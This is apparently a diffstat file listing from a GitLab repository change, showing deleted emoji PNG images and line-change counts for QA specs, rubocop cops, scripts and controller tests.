-rw-r--r--public/-/emojis/2/woman_office_worker_tone2.pngbin925 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_office_worker_tone3.pngbin874 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_office_worker_tone4.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_office_worker_tone5.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot.pngbin1023 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot_tone1.pngbin971 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot_tone2.pngbin1081 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot_tone3.pngbin977 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot_tone4.pngbin924 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pilot_tone5.pngbin998 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball.pngbin1066 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball_tone1.pngbin1076 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball_tone2.pngbin1023 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball_tone3.pngbin1000 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball_tone4.pngbin1006 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_handball_tone5.pngbin988 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo_tone1.pngbin776 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo_tone2.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo_tone3.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo_tone4.pngbin750 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_playing_water_polo_tone5.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer.pngbin954 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer_tone1.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer_tone2.pngbin1034 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer_tone3.pngbin950 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer_tone4.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_police_officer_tone5.pngbin949 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting.pngbin760 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting_tone1.pngbin794 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting_tone2.pngbin782 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting_tone3.pngbin700 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting_tone4.pngbin734 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_pouting_tone5.pngbin727 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand.pngbin1006 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand_tone1.pngbin1003 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand_tone2.pngbin958 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand_tone3.pngbin947 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand_tone4.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_raising_hand_tone5.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired_tone1.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired_tone2.pngbin878 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired_tone3.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired_tone4.pngbin929 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_red_haired_tone5.pngbin961 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat_tone1.pngbin946 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat_tone2.pngbin986 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat_tone3.pngbin860 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat_tone4.pngbin857 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_rowing_boat_tone5.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running_tone1.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running_tone2.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running_tone3.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running_tone4.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_running_tone5.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist.pngbin1120 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist_tone1.pngbin1141 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist_tone2.pngbin1127 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist_tone3.pngbin1190 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist_tone4.pngbin1127 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_scientist_tone5.pngbin1060 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging_tone1.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging_tone2.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging_tone3.pngbin705 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging_tone4.pngbin747 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_shrugging_tone5.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer.pngbin1154 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer_tone1.pngbin1135 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer_tone2.pngbin1121 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer_tone3.pngbin1232 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer_tone4.pngbin1103 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_singer_tone5.pngbin1086 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student_tone1.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student_tone2.pngbin1059 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student_tone3.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student_tone4.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_student_tone5.pngbin960 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero.pngbin1042 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero_tone1.pngbin1121 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero_tone2.pngbin1073 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero_tone3.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero_tone4.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_superhero_tone5.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain_tone1.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain_tone2.pngbin908 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain_tone3.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain_tone4.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_supervillain_tone5.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing.pngbin1062 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing_tone1.pngbin1088 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing_tone2.pngbin1084 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing_tone3.pngbin1068 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing_tone4.pngbin1027 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_surfing_tone5.pngbin1031 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming.pngbin635 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming_tone1.pngbin667 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming_tone2.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming_tone3.pngbin571 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming_tone4.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_swimming_tone5.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher.pngbin904 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher_tone1.pngbin865 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher_tone2.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher_tone3.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher_tone4.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_teacher_tone5.pngbin818 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist_tone1.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist_tone2.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist_tone3.pngbin739 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist_tone4.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_technologist_tone5.pngbin689 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand_tone1.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand_tone2.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand_tone3.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand_tone4.pngbin790 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tipping_hand_tone5.pngbin776 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tone1.pngbin1001 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tone2.pngbin973 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tone3.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tone4.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_tone5.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire_tone1.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire_tone2.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire_tone3.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire_tone4.pngbin960 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_vampire_tone5.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking_tone1.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking_tone2.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking_tone3.pngbin747 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking_tone4.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_walking_tone5.pngbin706 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban.pngbin909 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban_tone1.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban_tone2.pngbin839 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban_tone3.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban_tone4.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_wearing_turban_tone5.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired_tone1.pngbin952 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired_tone2.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired_tone3.pngbin933 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired_tone4.pngbin883 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_white_haired_tone5.pngbin982 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf.pngbin926 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf_tone1.pngbin863 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf_tone2.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf_tone3.pngbin869 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf_tone4.pngbin852 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_with_headscarf_tone5.pngbin883 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_zombie.pngbin935 -> 0 bytes
-rw-r--r--public/-/emojis/2/womans_clothes.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/womans_flat_shoe.pngbin798 -> 0 bytes
-rw-r--r--public/-/emojis/2/womans_hat.pngbin741 -> 0 bytes
-rw-r--r--public/-/emojis/2/women_with_bunny_ears_partying.pngbin1003 -> 0 bytes
-rw-r--r--public/-/emojis/2/women_wrestling.pngbin1430 -> 0 bytes
-rw-r--r--public/-/emojis/2/womens.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/woozy_face.pngbin923 -> 0 bytes
-rw-r--r--public/-/emojis/2/worried.pngbin652 -> 0 bytes
-rw-r--r--public/-/emojis/2/wrench.pngbin602 -> 0 bytes
-rw-r--r--public/-/emojis/2/wrestlers.pngbin1304 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand.pngbin716 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand_tone1.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand_tone2.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand_tone3.pngbin685 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand_tone4.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/writing_hand_tone5.pngbin686 -> 0 bytes
-rw-r--r--public/-/emojis/2/x.pngbin495 -> 0 bytes
-rw-r--r--public/-/emojis/2/yarn.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/yellow_heart.pngbin571 -> 0 bytes
-rw-r--r--public/-/emojis/2/yen.pngbin744 -> 0 bytes
-rw-r--r--public/-/emojis/2/yin_yang.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/yum.pngbin823 -> 0 bytes
-rw-r--r--public/-/emojis/2/zany_face.pngbin996 -> 0 bytes
-rw-r--r--public/-/emojis/2/zap.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/zebra.pngbin1086 -> 0 bytes
-rw-r--r--public/-/emojis/2/zero.pngbin651 -> 0 bytes
-rw-r--r--public/-/emojis/2/zipper_mouth.pngbin848 -> 0 bytes
-rw-r--r--public/-/emojis/2/zombie.pngbin935 -> 0 bytes
-rw-r--r--public/-/emojis/2/zzz.pngbin574 -> 0 bytes
-rw-r--r--qa/qa.rb8
-rw-r--r--qa/qa/flow/saml.rb4
-rw-r--r--qa/qa/page/admin/settings/component/sign_up_restrictions.rb6
-rw-r--r--qa/qa/page/base.rb38
-rw-r--r--qa/qa/page/component/access_tokens.rb75
-rw-r--r--qa/qa/page/component/commit_modal.rb13
-rw-r--r--qa/qa/page/component/invite_members_modal.rb2
-rw-r--r--qa/qa/page/component/issue_board/show.rb7
-rw-r--r--qa/qa/page/component/snippet.rb4
-rw-r--r--qa/qa/page/component/wiki_page_form.rb13
-rw-r--r--qa/qa/page/dashboard/snippet/index.rb2
-rw-r--r--qa/qa/page/group/settings/general.rb24
-rw-r--r--qa/qa/page/merge_request/new.rb27
-rw-r--r--qa/qa/page/merge_request/show.rb47
-rw-r--r--qa/qa/page/profile/personal_access_tokens.rb59
-rw-r--r--qa/qa/page/project/commit/show.rb12
-rw-r--r--qa/qa/page/project/fork/new.rb14
-rw-r--r--qa/qa/page/project/menu.rb9
-rw-r--r--qa/qa/page/project/pipeline/index.rb7
-rw-r--r--qa/qa/page/project/pipeline/show.rb20
-rw-r--r--qa/qa/page/project/settings/access_tokens.rb15
-rw-r--r--qa/qa/page/project/settings/ci_cd.rb2
-rw-r--r--qa/qa/page/project/settings/integrations.rb6
-rw-r--r--qa/qa/page/project/settings/merge_request.rb4
-rw-r--r--qa/qa/page/project/settings/runners.rb7
-rw-r--r--qa/qa/page/project/settings/services/jira.rb31
-rw-r--r--qa/qa/page/project/show.rb2
-rw-r--r--qa/qa/page/project/sub_menus/ci_cd.rb2
-rw-r--r--qa/qa/page/project/sub_menus/issues.rb2
-rw-r--r--qa/qa/page/project/sub_menus/operations.rb2
-rw-r--r--qa/qa/page/project/sub_menus/project.rb6
-rw-r--r--qa/qa/page/project/sub_menus/repository.rb2
-rw-r--r--qa/qa/page/project/sub_menus/settings.rb11
-rw-r--r--qa/qa/resource/events/base.rb12
-rw-r--r--qa/qa/resource/events/project.rb7
-rw-r--r--qa/qa/resource/fork.rb10
-rw-r--r--qa/qa/resource/group.rb13
-rw-r--r--qa/qa/resource/merge_request.rb3
-rw-r--r--qa/qa/resource/package.rb52
-rw-r--r--qa/qa/resource/pipeline_schedules.rb50
-rw-r--r--qa/qa/resource/project.rb16
-rw-r--r--qa/qa/resource/project_access_token.rb74
-rw-r--r--qa/qa/resource/registry_repository.rb56
-rw-r--r--qa/qa/resource/user.rb12
-rw-r--r--qa/qa/resource/wiki/group_page.rb22
-rw-r--r--qa/qa/runtime/api/repository_storage_moves.rb2
-rw-r--r--qa/qa/runtime/api/request.rb2
-rw-r--r--qa/qa/runtime/env.rb51
-rw-r--r--qa/qa/runtime/user.rb2
-rw-r--r--qa/qa/scenario/test/integration/object_storage.rb13
-rw-r--r--qa/qa/service/praefect_manager.rb29
-rw-r--r--qa/qa/specs/features/api/1_manage/project_access_token_spec.rb85
-rw-r--r--qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb10
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb52
-rw-r--r--qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb2
-rw-r--r--qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb50
-rw-r--r--qa/qa/specs/features/api/5_package/.gitkeep0
-rw-r--r--qa/qa/specs/features/api/5_package/container_registry_spec.rb119
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb48
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb10
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb48
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb42
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb43
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb133
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/revert_spec.rb39
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb60
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb60
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/transient/apply_suggestion_spec.rb61
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb90
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb112
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb22
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb16
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb26
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb23
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb2
-rw-r--r--qa/qa/specs/helpers/context_selector.rb86
-rw-r--r--qa/qa/specs/helpers/quarantine.rb12
-rw-r--r--qa/qa/specs/helpers/rspec.rb30
-rw-r--r--qa/qa/specs/runner.rb2
-rw-r--r--qa/qa/support/page/logging.rb8
-rw-r--r--qa/spec/runtime/env_spec.rb52
-rw-r--r--qa/spec/scenario/test/integration/object_storage_spec.rb9
-rw-r--r--qa/spec/spec_helper.rb1
-rw-r--r--qa/spec/specs/helpers/context_selector_spec.rb294
-rw-r--r--qa/spec/specs/helpers/quarantine_spec.rb175
-rw-r--r--qa/spec/support/helpers/stub_env.rb2
-rw-r--r--rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb2
-rw-r--r--rubocop/cop/gitlab/change_timzone.rb2
-rw-r--r--rubocop/cop/gitlab/delegate_predicate_methods.rb45
-rw-r--r--rubocop/cop/gitlab/feature_available_usage.rb99
-rw-r--r--rubocop/cop/gitlab/rails_logger.rb2
-rw-r--r--rubocop/cop/graphql/descriptions.rb5
-rw-r--r--rubocop/cop/graphql/json_type.rb2
-rw-r--r--rubocop/cop/include_sidekiq_worker.rb2
-rw-r--r--rubocop/cop/lint/last_keyword_argument.rb2
-rw-r--r--rubocop/cop/migration/add_column_with_default.rb2
-rw-r--r--rubocop/cop/migration/add_concurrent_foreign_key.rb2
-rw-r--r--rubocop/cop/migration/add_concurrent_index.rb2
-rw-r--r--rubocop/cop/migration/add_index.rb2
-rw-r--r--rubocop/cop/migration/add_limit_to_text_columns.rb2
-rw-r--r--rubocop/cop/migration/add_timestamps.rb2
-rw-r--r--rubocop/cop/migration/datetime.rb2
-rw-r--r--rubocop/cop/migration/hash_index.rb2
-rw-r--r--rubocop/cop/migration/prevent_strings.rb2
-rw-r--r--rubocop/cop/migration/remove_column.rb2
-rw-r--r--rubocop/cop/migration/remove_concurrent_index.rb2
-rw-r--r--rubocop/cop/migration/remove_index.rb2
-rw-r--r--rubocop/cop/migration/safer_boolean_column.rb6
-rw-r--r--rubocop/cop/migration/timestamps.rb2
-rw-r--r--rubocop/cop/migration/update_column_in_batches.rb2
-rw-r--r--rubocop/cop/migration/with_lock_retries_disallowed_method.rb1
-rw-r--r--rubocop/cop/migration/with_lock_retries_with_change.rb2
-rw-r--r--rubocop/cop/project_path_helper.rb2
-rw-r--r--rubocop/cop/qa/ambiguous_page_object_name.rb2
-rw-r--r--rubocop/cop/qa/element_with_pattern.rb2
-rw-r--r--rubocop/cop/rspec/env_assignment.rb2
-rw-r--r--rubocop/cop/rspec/factories_in_migration_specs.rb2
-rw-r--r--rubocop/cop/rspec/httparty_basic_auth.rb2
-rw-r--r--rubocop/cop/safe_params.rb2
-rw-r--r--rubocop/cop/sidekiq_options_queue.rb2
-rw-r--r--rubocop/cop/static_translation_definition.rb2
-rw-r--r--rubocop/cop/style/regexp_literal_mixed_preserve.rb33
-rw-r--r--rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb2
-rw-r--r--rubocop/cop/user_admin.rb33
-rw-r--r--rubocop/rubocop-migrations.yml1
-rwxr-xr-xscripts/gitaly-test-build2
-rwxr-xr-xscripts/gitaly-test-spawn1
-rw-r--r--scripts/gitaly_test.rb30
-rwxr-xr-xscripts/lint-rugged1
-rwxr-xr-xscripts/perf/query_limiting_report.rb167
-rw-r--r--scripts/review_apps/base-config.yaml12
-rw-r--r--scripts/rspec_helpers.sh6
-rwxr-xr-xscripts/static-analysis2
-rwxr-xr-xscripts/trigger-build86
-rw-r--r--scripts/utils.sh6
-rwxr-xr-xscripts/verify-tff-mapping2
-rw-r--r--spec/benchmarks/banzai_benchmark.rb7
-rw-r--r--spec/config/mail_room_spec.rb37
-rw-r--r--spec/config/metrics/aggregates/aggregated_metrics_spec.rb (renamed from spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb)0
-rw-r--r--spec/controllers/admin/application_settings_controller_spec.rb9
-rw-r--r--spec/controllers/admin/clusters_controller_spec.rb14
-rw-r--r--spec/controllers/admin/dev_ops_report_controller_spec.rb8
-rw-r--r--spec/controllers/admin/groups_controller_spec.rb6
-rw-r--r--spec/controllers/admin/impersonations_controller_spec.rb2
-rw-r--r--spec/controllers/admin/runners_controller_spec.rb4
-rw-r--r--spec/controllers/admin/services_controller_spec.rb2
-rw-r--r--spec/controllers/application_controller_spec.rb4
-rw-r--r--spec/controllers/boards/issues_controller_spec.rb2
-rw-r--r--spec/controllers/chaos_controller_spec.rb22
-rw-r--r--spec/controllers/concerns/enforces_admin_authentication_spec.rb6
-rw-r--r--spec/controllers/concerns/redis_tracking_spec.rb32
-rw-r--r--spec/controllers/concerns/renders_commits_spec.rb12
-rw-r--r--spec/controllers/dashboard/snippets_controller_spec.rb19
-rw-r--r--spec/controllers/explore/snippets_controller_spec.rb4
-rw-r--r--spec/controllers/graphql_controller_spec.rb32
-rw-r--r--spec/controllers/groups/boards_controller_spec.rb18
-rw-r--r--spec/controllers/groups/clusters_controller_spec.rb14
-rw-r--r--spec/controllers/groups/dependency_proxy_auth_controller_spec.rb2
-rw-r--r--spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb3
-rw-r--r--spec/controllers/groups/group_links_controller_spec.rb9
-rw-r--r--spec/controllers/groups/group_members_controller_spec.rb24
-rw-r--r--spec/controllers/groups/labels_controller_spec.rb18
-rw-r--r--spec/controllers/groups/milestones_controller_spec.rb10
-rw-r--r--spec/controllers/groups/registry/repositories_controller_spec.rb1
-rw-r--r--spec/controllers/groups/runners_controller_spec.rb16
-rw-r--r--spec/controllers/groups/settings/applications_controller_spec.rb219
-rw-r--r--spec/controllers/groups/uploads_controller_spec.rb2
-rw-r--r--spec/controllers/groups/variables_controller_spec.rb1
-rw-r--r--spec/controllers/groups_controller_spec.rb113
-rw-r--r--spec/controllers/invites_controller_spec.rb81
-rw-r--r--spec/controllers/oauth/authorizations_controller_spec.rb4
-rw-r--r--spec/controllers/omniauth_callbacks_controller_spec.rb8
-rw-r--r--spec/controllers/profiles/notifications_controller_spec.rb50
-rw-r--r--spec/controllers/projects/alerting/notifications_controller_spec.rb2
-rw-r--r--spec/controllers/projects/artifacts_controller_spec.rb6
-rw-r--r--spec/controllers/projects/boards_controller_spec.rb18
-rw-r--r--spec/controllers/projects/clusters_controller_spec.rb14
